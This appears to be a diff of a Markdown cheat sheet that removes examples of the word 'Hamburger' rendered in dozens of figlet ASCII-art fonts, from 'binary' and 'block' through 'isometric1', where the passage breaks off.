-    /    /                 /
----/___ /-----__---_--_---/__----------)__----__----__---)__-
-  /    /    /   ) / /  ) /   ) /   /  /   ) /   ) /___) /   )
-_/____/____(___(_/_/__/_(___/_(___(__/_____(___/_(___ _/_____
-                                              /
-                                          (_ /
-```
-
-{: .-figlet}
-
-### binary
-
-```
-01001000 01100001 01101101 01100010 01110101 01110010 01100111 01100101 01110010
-```
-
-{: .-figlet}
-
-### block
-
-```
-_|    _|                            _|
-_|    _|    _|_|_|  _|_|_|  _|_|    _|_|_|    _|    _|  _|  _|_|    _|_|_|    _|_|    _|  _|_|
-_|_|_|_|  _|    _|  _|    _|    _|  _|    _|  _|    _|  _|_|      _|    _|  _|_|_|_|  _|_|
-_|    _|  _|    _|  _|    _|    _|  _|    _|  _|    _|  _|        _|    _|  _|        _|
-_|    _|    _|_|_|  _|    _|    _|  _|_|_|      _|_|_|  _|          _|_|_|    _|_|_|  _|
-                                                                        _|
-                                                                    _|_|
-```
-
-{: .-figlet}
-
-### broadway
-
-```
-                                                .         .
-8 8888        8          .8.                   ,8.       ,8.          8 888888888o   8 8888      88 8 888888888o.      ,o888888o.    8 8888888888   8 888888888o.
-8 8888        8         .888.                 ,888.     ,888.         8 8888    `88. 8 8888      88 8 8888    `88.    8888     `88.  8 8888         8 8888    `88.
-8 8888        8        :88888.               .`8888.   .`8888.        8 8888     `88 8 8888      88 8 8888     `88 ,8 8888       `8. 8 8888         8 8888     `88
-8 8888        8       . `88888.             ,8.`8888. ,8.`8888.       8 8888     ,88 8 8888      88 8 8888     ,88 88 8888           8 8888         8 8888     ,88
-8 8888        8      .8. `88888.           ,8'8.`8888,8^8.`8888.      8 8888.   ,88' 8 8888      88 8 8888.   ,88' 88 8888           8 888888888888 8 8888.   ,88'
-8 8888        8     .8`8. `88888.         ,8' `8.`8888' `8.`8888.     8 8888888888   8 8888      88 8 888888888P'  88 8888           8 8888         8 888888888P'
-8 8888888888888    .8' `8. `88888.       ,8'   `8.`88'   `8.`8888.    8 8888    `88. 8 8888      88 8 8888`8b      88 8888   8888888 8 8888         8 8888`8b
-8 8888        8   .8'   `8. `88888.     ,8'     `8.`'     `8.`8888.   8 8888      88 ` 8888     ,8P 8 8888 `8b.    `8 8888       .8' 8 8888         8 8888 `8b.
-8 8888        8  .888888888. `88888.   ,8'       `8        `8.`8888.  8 8888    ,88'   8888   ,d8P  8 8888   `8b.     8888     ,88'  8 8888         8 8888   `8b.
-8 8888        8 .8'       `8. `88888. ,8'         `         `8.`8888. 8 888888888P      `Y88888P'   8 8888     `88.    `8888888P'    8 888888888888 8 8888     `88.
-```
-
-{: .-figlet}
-
-### bubble
-
-```
-  _   _   _   _   _   _   _   _   _
- / \ / \ / \ / \ / \ / \ / \ / \ / \
-( H | a | m | b | u | r | g | e | r )
- \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
-```
-
-{: .-figlet}
-
-### bulbhead
-
-```
- _   _    __    __  __  ____  __  __  ____   ___  ____  ____
-( )_( )  /__\  (  \/  )(  _ \(  )(  )(  _ \ / __)( ___)(  _ \
- ) _ (  /(__)\  )    (  ) _ < )(__)(  )   /( (_-. )__)  )   /
-(_) (_)(__)(__)(_/\/\_)(____/(______)(_)\_) \___/(____)(_)\_)
-```
-
-{: .-figlet}
-
-### calgphy2
-
-```
-     #####    ##                              /
-  ######  /  #### /                         #/
- /#   /  /   ####/                          ##
-/    /  /    # #                            ##
-    /  /     #                              ##
-   ## ##     #      /###   ### /### /###    ## /###   ##   ####    ###  /###     /###      /##  ###  /###
-   ## ##     #     / ###  / ##/ ###/ /##  / ##/ ###  / ##    ###  / ###/ #### / /  ###  / / ###  ###/ #### /
-   ## ########    /   ###/   ##  ###/ ###/  ##   ###/  ##     ###/   ##   ###/ /    ###/ /   ###  ##   ###/
-   ## ##     #   ##    ##    ##   ##   ##   ##    ##   ##      ##    ##       ##     ## ##    ### ##
-   ## ##     ##  ##    ##    ##   ##   ##   ##    ##   ##      ##    ##       ##     ## ########  ##
-   #  ##     ##  ##    ##    ##   ##   ##   ##    ##   ##      ##    ##       ##     ## #######   ##
-      /       ## ##    ##    ##   ##   ##   ##    ##   ##      ##    ##       ##     ## ##        ##
-  /##/        ## ##    /#    ##   ##   ##   ##    /#   ##      /#    ##       ##     ## ####    / ##
- /  #####      ## ####/ ##   ###  ###  ###   ####/      ######/ ##   ###       ########  ######/  ###
-/     ##           ###   ##   ###  ###  ###   ###        #####   ##   ###        ### ###  #####    ###
-#                                                                                     ###
- ##                                                                             ####   ###
-                                                                              /######  /#
-                                                                             /     ###/
-```
-
-{: .-figlet}
-
-### calligraphy
-
-```
-     *****    **                                  *
-  ******  *  **** *                             **
- **   *  *   *****                              **
-*    *  *    * *                                **
-    *  *     *                                  **         **   ****     ***  ****                            ***  ****
-   ** **     *         ****    *** **** ****    ** ****     **    ***  *  **** **** *     ****         ***     **** **** *
-   ** **     *        * ***  *  *** **** ***  * *** ***  *  **     ****    **   ****     *  ***  *    * ***     **   ****
-   ** ********       *   ****    **  **** ****  **   ****   **      **     **           *    ****    *   ***    **
-   ** **     *      **    **     **   **   **   **    **    **      **     **          **     **    **    ***   **
-   ** **     **     **    **     **   **   **   **    **    **      **     **          **     **    ********    **
-   *  **     **     **    **     **   **   **   **    **    **      **     **          **     **    *******     **
-      *       **    **    **     **   **   **   **    **    **      **     **          **     **    **          **
-  ****        **    **    **     **   **   **   **    **     ******* **    ***         **     **    ****    *   ***
- *  *****      **    ***** **    ***  ***  ***   *****        *****   **    ***         ********     *******     ***
-*     **              ***   **    ***  ***  ***   ***                                     *** ***     *****
-*                                                                                              ***
- **                                                                                      ****   ***
-                                                                                       *******  **
-                                                                                      *     ****
-```
-
-{: .-figlet}
-
-### catwalk
-
-```
-_//     _//                       _//
-_//     _//                       _//
-_//     _//   _//    _/// _// _// _//      _//  _//_/ _///   _//      _//    _/ _///
-_////// _// _//  _//  _//  _/  _//_// _//  _//  _// _//    _//  _// _/   _//  _//
-_//     _//_//   _//  _//  _/  _//_//   _//_//  _// _//   _//   _//_///// _// _//
-_//     _//_//   _//  _//  _/  _//_//   _//_//  _// _//    _//  _//_/         _//
-_//     _//  _// _///_///  _/  _//_// _//    _//_//_///        _//   _////   _///
-                                                            _//
-```
-
-{: .-figlet}
-
-### chunky
-
-```
- _______                  __
-|   |   |.---.-.--------.|  |--.--.--.----.-----.-----.----.
-|       ||  _  |        ||  _  |  |  |   _|  _  |  -__|   _|
-|___|___||___._|__|__|__||_____|_____|__| |___  |_____|__|
-                                          |_____|
-```
-
-{: .-figlet}
-
-### coinstak
-
-```
-O))     O))                       O))
-O))     O))                       O))
-O))     O))   O))    O))) O)) O)) O))      O))  O))O) O)))   O))      O))    O) O)))
-O)))))) O)) O))  O))  O))  O)  O))O)) O))  O))  O)) O))    O))  O)) O)   O))  O))
-O))     O))O))   O))  O))  O)  O))O))   O))O))  O)) O))   O))   O))O))))) O)) O))
-O))     O))O))   O))  O))  O)  O))O))   O))O))  O)) O))    O))  O))O)         O))
-O))     O))  O)) O)))O)))  O)  O))O)) O))    O))O))O)))        O))   O))))   O)))
-                                                            O))
-```
-
-{: .-figlet}
-
-### colossal
-
-```
-888    888                     888
-888    888                     888
-888    888                     888
-8888888888 8888b. 88888b.d88b. 88888b. 888  888888d888 .d88b.  .d88b. 888d888
-888    888    "88b888 "888 "88b888 "88b888  888888P"  d88P"88bd8P  Y8b888P"
-888    888.d888888888  888  888888  888888  888888    888  88888888888888
-888    888888  888888  888  888888 d88PY88b 888888    Y88b 888Y8b.    888
-888    888"Y888888888  888  88888888P"  "Y88888888     "Y88888 "Y8888 888
-                                                           888
-                                                      Y8b d88P
-                                                       "Y88P"
-```
-
-{: .-figlet}
-
-### computer
-
-```
-8   8
-8   8 eeeee eeeeeee eeeee  e   e eeeee  eeeee eeee eeeee
-8eee8 8   8 8  8  8 8   8  8   8 8   8  8   8 8    8   8
-88  8 8eee8 8e 8  8 8eee8e 8e  8 8eee8e 8e    8eee 8eee8e
-88  8 88  8 88 8  8 88   8 88  8 88   8 88 "8 88   88   8
-88  8 88  8 88 8  8 88eee8 88ee8 88   8 88ee8 88ee 88   8
-```
-
-{: .-figlet}
-
-### contessa
-
-```
-.  .        .
-|__| _.._ _ |_ . .._. _  _ ._.
-|  |(_][ | )[_)(_|[  (_](/,[
-                     ._|
-```
-
-{: .-figlet}
-
-### contrast
-
-```
-.%%..%%...%%%%...%%...%%..%%%%%...%%..%%..%%%%%....%%%%...%%%%%%..%%%%%..
-.%%..%%..%%..%%..%%%.%%%..%%..%%..%%..%%..%%..%%..%%......%%......%%..%%.
-.%%%%%%..%%%%%%..%%.%.%%..%%%%%...%%..%%..%%%%%...%%.%%%..%%%%....%%%%%..
-.%%..%%..%%..%%..%%...%%..%%..%%..%%..%%..%%..%%..%%..%%..%%......%%..%%.
-.%%..%%..%%..%%..%%...%%..%%%%%....%%%%...%%..%%...%%%%...%%%%%%..%%..%%.
-.........................................................................
-```
-
-{: .-figlet}
-
-### cosmic
-
-````
-  ::   .:   :::.     .        :   :::::::.   ...    ::::::::::..    .,-:::::/ .,:::::: :::::::..
- ,;;   ;;,  ;;`;;    ;;,.    ;;;   ;;;'';;'  ;;     ;;;;;;;``;;;; ,;;-'```'  ;;;;'''' ;;;;``;;;;
-,[[[,,,[[[ ,[[ '[[,  [[[[, ,[[[[,  [[[__[[\.[['     [[[ [[[,/[[[' [[[   [[[[[[/[[cccc   [[[,/[[['
-"$$$"""$$$c$$$cc$$$c $$$$$$$$"$$$  $$""""Y$$$$      $$$ $$$$$$c   "$$c.    "$$ $$""""   $$$$$$c
- 888   "88o888   888,888 Y88" 888o_88o,,od8P88    .d888 888b "88bo,`Y8bo,,,o88o888oo,__ 888b "88bo,
- MMM    YMMYMM   ""` MMM  M'  "MMM""YUMMMP"  "YmmMMMM"" MMMM   "W"   `'YMUP"YMM""""YUMMMMMMM   "W"
-````
-
-{: .-figlet}
-
-### cosmike
-
-````
-  ::   .:   :::.     .        :   :::::::.   ...    ::::::::::..    .,-:::::/ .,:::::: :::::::..
- ,;;   ;;,  ;;`;;    ;;,.    ;;;   ;;;'';;'  ;;     ;;;;;;;``;;;; ,;;-'```'  ;;;;'''' ;;;;``;;;;
-,[[[,,,[[[ ,[[ '[[,  [[[[, ,[[[[,  [[[__[[\.[['     [[[ [[[,/[[[' [[[   [[[[[[/[[cccc   [[[,/[[['
-"$$$"""$$$c$$$cc$$$c $$$$$$$$"$$$  $$""""Y$$$$      $$$ $$$$$$c   "$$c.    "$$ $$""""   $$$$$$c
- 888   "88o888   888,888 Y88" 888o_88o,,od8P88    .d888 888b "88bo,`Y8bo,,,o88o888oo,__ 888b "88bo,
- MMM    YMMYMM   ""` MMM  M'  "MMM""YUMMMP"  "YmmMMMM"" MMMM   "W"   `'YMUP"YMM""""YUMMMMMMM   "W"
-````
-
-{: .-figlet}
-
-### crawford
-
-```
- __ __   ____  ___ ___  ____   __ __  ____    ____    ___  ____
-|  T  T /    T|   T   T|    \ |  T  T|    \  /    T  /  _]|    \
-|  l  |Y  o  || _   _ ||  o  )|  |  ||  D  )Y   __j /  [_ |  D  )
-|  _  ||     ||  \_/  ||     T|  |  ||    / |  T  |Y    _]|    /
-|  |  ||  _  ||   |   ||  O  ||  :  ||    \ |  l_ ||   [_ |    \
-|  |  ||  |  ||   |   ||     |l     ||  .  Y|     ||     T|  .  Y
-l__j__jl__j__jl___j___jl_____j \__,_jl__j\_jl___,_jl_____jl__j\_j
-```
-
-{: .-figlet}
-
-### cricket
-
-```
- ___ ___                __
-|   Y   .---.-.--------|  |--.--.--.----.-----.-----.----.
-|.  1   |  _  |        |  _  |  |  |   _|  _  |  -__|   _|
-|.  _   |___._|__|__|__|_____|_____|__| |___  |_____|__|
-|:  |   |                               |_____|
-|::.|:. |
-`--- ---'
-```
-
-{: .-figlet}
-
-### cursive
-
-```
- _    ,
-' )  /              /
- /--/ __.  ______  /__. . __  _,  _  __
-/  (_(_/|_/ / / <_/_)(_/_/ (_(_)_</_/ (_
-                              /|
-                             |/
-```
-
-{: .-figlet}
-
-### cyberlarge
-
-```
- _     _ _______ _______ ______  _     _  ______  ______ _______  ______
- |_____| |_____| |  |  | |_____] |     | |_____/ |  ____ |______ |_____/
- |     | |     | |  |  | |_____] |_____| |    \_ |_____| |______ |    \_
-```
-
-{: .-figlet}
-
-### cybermedium
-
-```
-_  _ ____ _  _ ___  _  _ ____ ____ ____ ____
-|__| |__| |\/| |__] |  | |__/ | __ |___ |__/
-|  | |  | |  | |__] |__| |  \ |__] |___ |  \
-```
-
-{: .-figlet}
-
-### cybersmall
-
-```
- _  _ ____ _  _ ___  _  _ ____ ____ ____ ____
- |--| |--| |\/| |==] |__| |--< |__, |=== |--<
-```
-
-{: .-figlet}
-
-### decimal
-
-```
-72 97 109 98 117 114 103 101 114
-```
-
-{: .-figlet}
-
-### diamond
-
-```
-/\\     /\\                       /\\
-/\\     /\\                       /\\
-/\\     /\\   /\\    /\\\ /\\ /\\ /\\      /\\  /\\/\ /\\\   /\\      /\\    /\ /\\\
-/\\\\\\ /\\ /\\  /\\  /\\  /\  /\\/\\ /\\  /\\  /\\ /\\    /\\  /\\ /\   /\\  /\\
-/\\     /\\/\\   /\\  /\\  /\  /\\/\\   /\\/\\  /\\ /\\   /\\   /\\/\\\\\ /\\ /\\
-/\\     /\\/\\   /\\  /\\  /\  /\\/\\   /\\/\\  /\\ /\\    /\\  /\\/\         /\\
-/\\     /\\  /\\ /\\\/\\\  /\  /\\/\\ /\\    /\\/\\/\\\        /\\   /\\\\   /\\\
-                                                            /\\
-```
-
-{: .-figlet}
-
-### digital
-
-```
-+-+-+-+-+-+-+-+-+-+
-|H|a|m|b|u|r|g|e|r|
-+-+-+-+-+-+-+-+-+-+
-```
-
-{: .-figlet}
-
-### doh
-
-```
-                                                                bbbbbbbb
-HHHHHHHHH     HHHHHHHHH                                         b::::::b
-H:::::::H     H:::::::H                                         b::::::b
-H:::::::H     H:::::::H                                         b::::::b
-HH::::::H     H::::::HH                                          b:::::b
-  H:::::H     H:::::H    aaaaaaaaaaaaa      mmmmmmm    mmmmmmm   b:::::bbbbbbbbb    uuuuuu    uuuuuu rrrrr   rrrrrrrrr      ggggggggg   ggggg    eeeeeeeeeeee    rrrrr   rrrrrrrrr
-  H:::::H     H:::::H    a::::::::::::a   mm:::::::m  m:::::::mm b::::::::::::::bb  u::::u    u::::u r::::rrr:::::::::r    g:::::::::ggg::::g  ee::::::::::::ee  r::::rrr:::::::::r
-  H::::::HHHHH::::::H    aaaaaaaaa:::::a m::::::::::mm::::::::::mb::::::::::::::::b u::::u    u::::u r:::::::::::::::::r  g:::::::::::::::::g e::::::eeeee:::::eer:::::::::::::::::r
-  H:::::::::::::::::H             a::::a m::::::::::::::::::::::mb:::::bbbbb:::::::bu::::u    u::::u rr::::::rrrrr::::::rg::::::ggggg::::::gge::::::e     e:::::err::::::rrrrr::::::r
-  H:::::::::::::::::H      aaaaaaa:::::a m:::::mmm::::::mmm:::::mb:::::b    b::::::bu::::u    u::::u  r:::::r     r:::::rg:::::g     g:::::g e:::::::eeeee::::::e r:::::r     r:::::r
-  H::::::HHHHH::::::H    aa::::::::::::a m::::m   m::::m   m::::mb:::::b     b:::::bu::::u    u::::u  r:::::r     rrrrrrrg:::::g     g:::::g e:::::::::::::::::e  r:::::r     rrrrrrr
-  H:::::H     H:::::H   a::::aaaa::::::a m::::m   m::::m   m::::mb:::::b     b:::::bu::::u    u::::u  r:::::r            g:::::g     g:::::g e::::::eeeeeeeeeee   r:::::r
-  H:::::H     H:::::H  a::::a    a:::::a m::::m   m::::m   m::::mb:::::b     b:::::bu:::::uuuu:::::u  r:::::r            g::::::g    g:::::g e:::::::e            r:::::r
-HH::::::H     H::::::HHa::::a    a:::::a m::::m   m::::m   m::::mb:::::bbbbbb::::::bu:::::::::::::::uur:::::r            g:::::::ggggg:::::g e::::::::e           r:::::r
-H:::::::H     H:::::::Ha:::::aaaa::::::a m::::m   m::::m   m::::mb::::::::::::::::b  u:::::::::::::::ur:::::r             g::::::::::::::::g  e::::::::eeeeeeee   r:::::r
-H:::::::H     H:::::::H a::::::::::aa:::am::::m   m::::m   m::::mb:::::::::::::::b    uu::::::::uu:::ur:::::r              gg::::::::::::::g   ee:::::::::::::e   r:::::r
-HHHHHHHHH     HHHHHHHHH  aaaaaaaaaa  aaaammmmmm   mmmmmm   mmmmmmbbbbbbbbbbbbbbbb       uuuuuuuu  uuuurrrrrrr                gggggggg::::::g     eeeeeeeeeeeeee   rrrrrrr
-                                                                                                                                     g:::::g
-                                                                                                                         gggggg      g:::::g
-                                                                                                                         g:::::gg   gg:::::g
-                                                                                                                          g::::::ggg:::::::g
-                                                                                                                           gg:::::::::::::g
-                                                                                                                             ggg::::::ggg
-                                                                                                                                gggggg
-```
-
-{: .-figlet}
-
-### doom
-
-```
- _   _                 _
-| | | |               | |
-| |_| | __ _ _ __ ___ | |__  _   _ _ __ __ _  ___ _ __
-|  _  |/ _` | '_ ` _ \| '_ \| | | | '__/ _` |/ _ \ '__|
-| | | | (_| | | | | | | |_) | |_| | | | (_| |  __/ |
-\_| |_/\__,_|_| |_| |_|_.__/ \__,_|_|  \__, |\___|_|
-                                        __/ |
-                                       |___/
-```
-
-{: .-figlet}
-
-### dotmatrix
-
-```
- _           _                                 _
-(_)         (_)                               (_)
-(_)         (_)   _  _  _        _  _   _  _  (_) _  _  _    _         _  _       _  _   _  _  _  _   _  _  _  _   _       _  _
-(_) _  _  _ (_)  (_)(_)(_) _    (_)(_)_(_)(_) (_)(_)(_)(_)_ (_)       (_)(_)_  _ (_)(_)_(_)(_)(_)(_) (_)(_)(_)(_)_(_)_  _ (_)(_)
-(_)(_)(_)(_)(_)   _  _  _ (_)  (_)   (_)   (_)(_)        (_)(_)       (_)  (_)(_)     (_)        (_)(_) _  _  _ (_) (_)(_)
-(_)         (_) _(_)(_)(_)(_)  (_)   (_)   (_)(_)        (_)(_)       (_)  (_)        (_)        (_)(_)(_)(_)(_)(_) (_)
-(_)         (_)(_)_  _  _ (_)_ (_)   (_)   (_)(_) _  _  _(_)(_)_  _  _(_)_ (_)        (_)_  _  _ (_)(_)_  _  _  _   (_)
-(_)         (_)  (_)(_)(_)  (_)(_)   (_)   (_)(_)(_)(_)(_)    (_)(_)(_) (_)(_)          (_)(_)(_)(_)  (_)(_)(_)(_)  (_)
-                                                                                         _  _  _ (_)
-                                                                                        (_)(_)(_)
-```
-
-{: .-figlet}
-
-### double
-
-```
-__  __ ___ ___  _______ __ ______   ___  ________
-||  ||// \\||\\//|||| ))|| |||| \\ // \\||   || \\
-||==||||=|||| \/ ||||=) || ||||_//(( ___||== ||_//
-||  |||| ||||    ||||_))\\_//|| \\ \\_||||___|| \\
-```
-
-{: .-figlet}
-
-### drpepper
-
-```
- _ _              _
-| | | ___ ._ _ _ | |_  _ _  _ _  ___  ___  _ _
-|   |<_> || ' ' || . \| | || '_>/ . |/ ._>| '_>
-|_|_|<___||_|_|_||___/`___||_|  \_. |\___.|_|
-                                <___'
-```
-
-{: .-figlet}
-
-### dwhistled
-
-```
-H m ur  r
- X X  XX
- X .  XX
- . .  XX
- . .  .X
- . .  .X
- . .  ..
-Hamburger
-```
-
-{: .-figlet}
-
-### eftichess
-
-```
-         #########         #########         #########         ####################################
-  [`'`'] ##\`.'/##  ':v:`  ##/\:/\##  |:+:|  ##':v:`##  \`.'/  ##[`'`']###'\v/`####[`'`']###[`'`']#
-   |::|  ##(o:o)##  (o:0)  #/(o:o)\#  (o:o)  ##(o:0)##  (o:o)  ###|::|####(o 0)#####|  |#####|  |##
-   |::|  ###\:/:\#   (:)   ###(:)###   (:)   ###(:)###   \:/:\ ###|::|#####(_)######|__|#####|__|##
-         ####"####         #########         #########    "    ####################################
-```
-
-{: .-figlet}
-
-### eftifont
-
-```
- _ _
-| U |_    _ _ ||    _  _ _ _
-|   /o\ |/ \ \|o\U|/_|/oYoY_|
-|_n_\_,]L_n_n||_|_/L| \_|(L|
-                       _)
-```
-
-{: .-figlet}
-
-### eftipiti
-
-```
-[]-|amburger
-```
-
-{: .-figlet}
-
-### eftirobot
-
-```
- _  _               _
-( )( )             ( )
-| L| | ___  __  __ | |_  _ _  __  __  ___  __
-( __ )( o )( _`'_ )( o \( U )( _)/o )( o_)( _)
-/_\/_\/_^_\/_\`'/_\/___//___\/_\ \__\ \(  /_\
-                                  _|/
-```
-
-{: .-figlet}
-
-### eftitalic
-
-```
-   _ __
-  /// / _   _     /7      _   _   __ _
- / ` /,'o| / \'\ /o\ /7/7//7,'o|,'o///7
-/_n_/ |_,7/_nn_//_,'/__///  |_,'|_(//
-                            _//
-```
-
-{: .-figlet}
-
-### eftiwall
-
-```
-                 |                ___         ( ( (           o            !!!                         |"|           !!!
-     ***         |.===.          /_\ `*     '. ___ .'      ` /_\ '      `  _ _  '      __MMM__        _|_|_       `  _ _  '
-    (o o)        {}o o{}        (o o)      '  (> <) '     - (o o) -    -  (OXO)  -      (o o)         (o o)      -  (OXO)  -
-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-
-```
-
-{: .-figlet}
-
-### eftiwater
-
-```
- _ _             _
- )L`) ___  _  _  ))  _    __  ___  __ __
-(( ( ((_( ((`1( ((_)((_( (|  ((_( (('(|
-                               _))
-```
-
-{: .-figlet}
-
-### epic
-
-```
-          _______  _______  ______            _______  _______  _______  _______
-|\     /|(  ___  )(       )(  ___ \ |\     /|(  ____ )(  ____ \(  ____ \(  ____ )
-| )   ( || (   ) || () () || (   ) )| )   ( || (    )|| (    \/| (    \/| (    )|
-| (___) || (___) || || || || (__/ / | |   | || (____)|| |      | (__    | (____)|
-|  ___  ||  ___  || |(_)| ||  __ (  | |   | ||     __)| | ____ |  __)   |     __)
-| (   ) || (   ) || |   | || (  \ \ | |   | || (\ (   | | \_  )| (      | (\ (
-| )   ( || )   ( || )   ( || )___) )| (___) || ) \ \__| (___) || (____/\| ) \ \__
-|/     \||/     \||/     \||/ \___/ (_______)|/   \__/(_______)(_______/|/   \__/
-```
-
-{: .-figlet}
-
-### fender
-
-```
-'||  ||`                    '||
- ||  ||                      ||
- ||''||   '''|.  '||),,(|,   ||''|, '||  ||` '||''| .|''|, .|''|, '||''|
- ||  ||  .|''||   || || ||   ||  ||  ||  ||   ||    ||  || ||..||  ||
-.||  ||. `|..||. .||    ||. .||..|'  `|..'|. .||.   `|..|| `|...  .||.
-                                                        ||
-                                                     `..|'
-```
-
-{: .-figlet}
-
-### fourtops
-
-```
-|  |             |
-|--|/~~||/~\ /~\ |~~\|   ||/~\/~~|/~/|/~\
-|  |\__||   |   ||__/ \_/||   \__|\/_|
-                              \__|
-```
-
-{: .-figlet}
-
-### fraktur
-
-```
-                                                            ..
-         .xHL                                         . uW8"
-      .-`8888hxxx~                   ..    .     :    `t888          x.    .        .u    .                             .u    .
-   .H8X  `%888*"            u      .888: x888  x888.   8888   .    .@88k  z88u    .d88B :@8c       uL          .u     .d88B :@8c
-   888X     ..x..        us888u.  ~`8888~'888X`?888f`  9888.z88N  ~"8888 ^8888   ="8888f8888r  .ue888Nc..   ud8888.  ="8888f8888r
-  '8888k .x8888888x   .@88 "8888"   X888  888X '888>   9888  888E   8888  888R     4888>'88"  d88E`"888E` :888'8888.   4888>'88"
-   ?8888X    "88888X  9888  9888    X888  888X '888>   9888  888E   8888  888R     4888> '    888E  888E  d888 '88%"   4888> '
-    ?8888X    '88888> 9888  9888    X888  888X '888>   9888  888E   8888  888R     4888>      888E  888E  8888.+"      4888>
- H8H %8888     `8888> 9888  9888    X888  888X '888>   9888  888E   8888 ,888B .  .d888L .+   888E  888E  8888L       .d888L .+
-'888> 888"      8888  9888  9888   "*88%""*88" '888!` .8888  888"  "8888Y 8888"   ^"8888*"    888& .888E  '8888c. .+  ^"8888*"
- "8` .8" ..     88*   "888*""888"    `~    "    `"`    `%888*%"     `Y"   'YP        "Y"      *888" 888&   "88888%       "Y"
-    `  x8888h. d*"     ^Y"   ^Y'                          "`                                   `"   "888E    "YP'
-      !""*888%~                                                                               .dWi   `88E
-      !   `"  .                                                                               4888~  J8%
-      '-....:~                                                                                 ^"===*"`
-```
-
-{: .-figlet}
-
-### fuzzy
-
-```
-.-..-.                .-.
-: :; :                : :
-:    : .--.  ,-.,-.,-.: `-. .-..-..--.  .--.  .--. .--.
-: :: :' .; ; : ,. ,. :' .; :: :; :: ..'' .; :' '_.': ..'
-:_;:_;`.__,_;:_;:_;:_;`.__.'`.__.':_;  `._. ;`.__.':_;
-                                        .-. :
-                                        `._.'
-```
-
-{: .-figlet}
-
-### goofy
-
-```
-    ___    _____  _____          _      ___    ___    _     _____       ___        __     ___
-\  |   |  /    /  \    |        | \     \  |  |   |  | |    \    )  ____)  \    ___) |    \
- |  \_/  |    /    \   |  |\/|  |  |     ) |  |   |  | |     )  /  /  __    |  (__   |     )
- |   _   |   /  ()  \  |  |  |  |  |    <  |  |   |  | |    /  (  (  (  \   |   __)  |    /
- |  / \  |  |   __   | |  |  |  |  |     ) |   \_/   | | |\ \   \  \__)  )  |  (___  | |\ \
-/  |___|  \_|  (__)  |_|  |__|  |_/     /___\       /__| |_\ \___)      (__/       )_| |_\ \_
-```
-
-{: .-figlet}
-
-### gothic
-
-```
-_-_-                     ,,
-  /,        _            ||                  _
-  || __    < \, \\/\\/\\ ||/|, \\ \\ ,._-_  / \\  _-_  ,._-_
- ~||-  -   /-|| || || || || || || ||  ||   || || || \\  ||
-  ||===|| (( || || || || || |' || ||  ||   || || ||/    ||
- ( \_, |   \/\\ \\ \\ \\ \\/   \\/\\  \\,  \\_-| \\,/   \\,
-       `                                    /  \
-                                           '----`
-```
-
-{: .-figlet}
-
-### graceful
-
-```
- _  _   __   _  _  ____  _  _  ____   ___  ____  ____
-/ )( \ / _\ ( \/ )(  _ \/ )( \(  _ \ / __)(  __)(  _ \
-) __ (/    \/ \/ \ ) _ () \/ ( )   /( (_ \ ) _)  )   /
-\_)(_/\_/\_/\_)(_/(____/\____/(__\_) \___/(____)(__\_)
-```
-
-{: .-figlet}
-
-### gradient
-
-```
-eee..eee..eeeeee..eee......eee.eeeeeee..eee..eee.eeeeeee...eeeeee..eeeeee.eeeeeee..
-@@@::@@@:@@@@@@@@:@@@@::::@@@@:@@@@@@@@:@@@::@@@:@@@@@@@@:@@@@@@@@:@@@@@@:@@@@@@@@:
-%%%--%%%-%%%--%%%-%%%%%--%%%%%-%%%--%%%-%%%--%%%-%%%--%%%-%%%------%%%----%%%--%%%-
-&&&&&&&&+&&&&&&&&+&&&&&&&&&&&&+&&&&&&&++&&&++&&&+&&&&&&&++&&&++++++&&&&&++&&&&&&&++
-||||||||*||||||||*|||*||||*|||*||||||||*|||**|||*||||||***|||*||||*|||||**||||||***
-!!!==!!!=!!!==!!!=!!!==!!==!!!=!!!==!!!=!!!==!!!=!!!=!!!==!!!==!!!=!!!====!!!=!!!==
-:::##:::#:::##:::#:::######:::#::::::::#::::::::#:::##:::#::::::::#::::::#:::##:::#
-...@@...@...@@...@...@@@@@@...@.......@@@......@@...@@...@@......@@......@...@@...@
-```
-
-{: .-figlet}
-
-### graffiti
-
-```
-  ___ ___               ___.
- /   |   \_____    _____\_ |__  __ _________  ____   ___________
-/    ~    \__  \  /     \| __ \|  |  \_  __ \/ ___\_/ __ \_  __ \
-\    Y    // __ \|  Y Y  \ \_\ \  |  /|  | \/ /_/  >  ___/|  | \/
- \___|_  /(____  /__|_|  /___  /____/ |__|  \___  / \___  >__|
-       \/      \/      \/    \/            /_____/      \/
-```
-
-{: .-figlet}
-
-### hex
-
-```
-48 61 6D 62 75 72 67 65 72
-```
-
-{: .-figlet}
-
-### hollywood
-
-```
-           _
-          ' )     )                           /'
-          /'    /'                          /'
-       ,/'    /' ____     ,__________     /'__               ____     ____     ____      ____
-      /`---,/' /'    )   /'    )     )  /'    )  /'    /   )'    )--/'    )  /'    )   )'    )--
-    /'    /' /'    /'  /'    /'    /' /'    /' /'    /'  /'       /'    /' /(___,/'  /'
-(,/'     (_,(___,/(__/'    /'    /(__(___,/(__(___,/(__/'        (___,/(__(________/'
-                                                                    /'
-                                                            /     /'
-                                                           (___,/'
-```
-
-{: .-figlet}
-
-### invita
-
-```
-   ____  ___)
-  (, /   /           /)
-    /---/  _  ___   (/_     __  _    _  __
- ) /   (__(_(_// (_/_) (_(_/ (_(_/__(/_/ (_
-(_/                           .-/
-                             (_/
-```
-
-{: .-figlet}
-
-### isometric1
-
-```
-      ___           ___           ___           ___           ___           ___           ___           ___           ___
-     /\__\         /\  \         /\__\         /\  \         /\__\         /\  \         /\  \         /\  \         /\  \
-    /:/  /        /::\  \       /::|  |       /::\  \       /:/  /        /::\  \       /::\  \       /::\  \       /::\  \
-   /:/__/        /:/\:\  \     /:|:|  |      /:/\:\  \     /:/  /        /:/\:\  \     /:/\:\  \     /:/\:\  \     /:/\:\  \
-  /::\  \ ___   /::\~\:\  \   /:/|:|__|__   /::\~\:\__\   /:/  /  ___   /::\~\:\  \   /:/  \:\  \   /::\~\:\  \   /::\~\:\  \
- /:/\:\  /\__\ /:/\:\ \:\__\ /:/ |::::\__\ /:/\:\ \:|__| /:/__/  /\__\ /:/\:\ \:\__\ /:/__/_\:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\
- \/__\:\/:/  / \/__\:\/:/  / \/__/~~/:/  / \:\~\:\/:/  / \:\  \ /:/  / \/_|::\/:/  / \:\  /\ \/__/ \:\~\:\ \/__/ \/_|::\/:/  /
